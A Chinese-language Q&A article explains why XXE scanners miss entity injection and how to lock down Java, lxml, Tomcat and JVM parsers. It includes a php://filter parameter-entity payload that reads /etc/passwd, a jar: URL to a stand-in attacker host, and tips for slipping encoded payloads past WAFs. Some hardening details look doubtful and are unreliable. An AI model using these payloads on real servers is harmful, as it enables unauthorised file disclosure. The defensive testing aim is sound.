XXE漏洞扫描漏报因工具仅检测DOCTYPE中的外部实体,忽略参数实体、内部实体间接引用及XSD引入路径;真实场景中Spring Boot等应用即使无DOCTYPE也可能触发外连。

XXE漏洞扫描为什么总漏报DOCTYPE外的实体引用?
因为多数自动化工具只检测显式DOCTYPE声明里的外部实体定义,而忽略parameter entity、internal entity间接触发或XMLSchema中xsd:import带入的实体解析路径。真实业务里,Spring Boot应用用javax.xml.validation.SchemaFactory加载远程XSD时,即使没写DOCTYPE,照样可能触发HTTP外连。
- 检查工具是否启用
http://xml.org/sax/features/external-parameter-entities和http://xml.org/sax/features/external-general-entities开关(JAXP默认false) - 手动在测试payload里补全
%remote;参数实体引用,再用curl -v确认DNS或HTTP请求是否发出 - 留意
XMLStreamReader这类流式解析器——它不自动解析DOCTYPE,但若上层代码调用getProperty("http://javax.xml.XMLConstants/property/accessExternalDTD")返回all,仍可能被绕过
Python用defusedxml防XXE,但lxml还在报EntityReference错误?
不是defusedxml失效,是它只覆盖xml.etree.ElementTree、minidom等标准库模块;lxml用的是libxml2底层,必须单独配置。而且lxml.etree.XMLParser的resolve_entities=False参数仅禁用通用实体,对参数实体(%name;)无效。
- 强制设置
lxml.etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False) - 若需保留DTD验证,改用
load_dtd=True+dtd_validation=True,但必须配合remove_blank_text=True提前剥离注释和空格,否则%INCLUDE可能绕过 - 检查
lxml版本:2.3.6以下存在XMLParser参数被忽略的bug,升级到4.6+更稳
Burp Suite的XXE Scanner插件扫不出base64回显型漏洞?
因为插件默认只监控HTTP响应体中的明文关键词(如/etc/passwd),而base64编码的文件内容不会匹配。更麻烦的是,某些WAF会拦截含file://的原始payload,但放行经过base64或php://filter编码的变体。
- 在Burp Intruder中自定义payload:用
xxe.dtd定义<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">,再引用%file; - 把Burp的"Match and extract"规则改成正则
[A-Za-z0-9+/]{40,}==,捕获长base64串后手动解码 - 注意目标服务端的XML解析器是否支持
php://——Java环境得换jar:http://attacker.com/evil.jar!/META-INF/MANIFEST.MF
为什么accessExternalDTD="all"设成none还是触发了外连?
这个配置项只控制DTD本身加载,不拦住SYSTEM实体里的URL。真正起作用的是accessExternalSchema(影响XSD)、accessExternalStylesheet(影响XSLT),以及底层libxml2的XML_PARSE_NOENT标志位是否被清除。
- JVM启动参数加
-Djavax.xml.accessExternalDTD=none -Djavax.xml.accessExternalSchema=none - Tomcat用户额外检查
conf/catalina.properties里xml.blockExternal=true是否生效(8.5+默认true,但低版本需手动开) - 用
strace -e trace=connect,openat java -jar app.jar 2>&1 | grep -E "(http|ftp|file)"直接抓系统调用,比看日志更准
XXE的隐蔽点不在语法多复杂,而在解析器链路太长——从HTTP请求头里的Content-Type决定用哪个解析器,到框架自动注册的EntityResolver,中间任何一环没关严,就等于留了扇虚掩的门。










